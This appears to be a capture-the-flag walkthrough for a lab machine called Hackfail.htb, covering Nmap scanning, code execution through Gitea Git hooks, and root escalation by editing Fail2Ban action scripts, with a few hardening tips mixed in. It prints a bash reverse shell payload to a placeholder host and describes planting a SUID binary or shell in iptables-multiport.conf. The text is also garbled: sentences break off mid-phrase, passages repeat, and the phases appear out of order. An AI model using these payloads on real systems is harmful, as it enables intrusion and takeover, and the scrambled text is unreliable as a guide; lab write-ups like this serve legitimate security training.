Hackfail.htb 〈720p – 2K〉

Ensure that configuration files for security tools like Fail2Ban are only writable by the root user.

Check the web application for leaked credentials or look for "Register" buttons that might be open.

Disable Git hooks for non-admin users in Gitea's app.ini . hackfail.htb

The final step is moving from a standard user (or container escape) to the user. Exploiting Fail2Ban

The first step in any penetration test is understanding the attack surface. Port Scanning A standard Nmap scan reveals two open ports: Open, running OpenSSH. Port 80 (HTTP): Open, serving a web application. Web Discovery Ensure that configuration files for security tools like

Add a command to one of the scripts (like iptables-multiport.conf ) that creates a SUID binary or sends a reverse shell.

Insert a bash reverse shell payload: bash -i >& /dev/tcp/YOUR_IP/PORT 0>&1 . Push a dummy commit to trigger the hook. 🐳 Phase 3: Lateral Movement & Docker The final step is moving from a standard

Always keep Gitea and other web services patched to the latest version.

Navigating to the IP address on port 80 reveals a custom web application. Further directory busting or clicking through links often reveals a development sub-domain or a linked service. In the case of HackFail, you will encounter a instance, a self-hosted Git service popular among developers. 🏗️ Phase 2: Initial Access (Exploiting Gitea)

Check /mnt or other unusual directories for files belonging to the host system.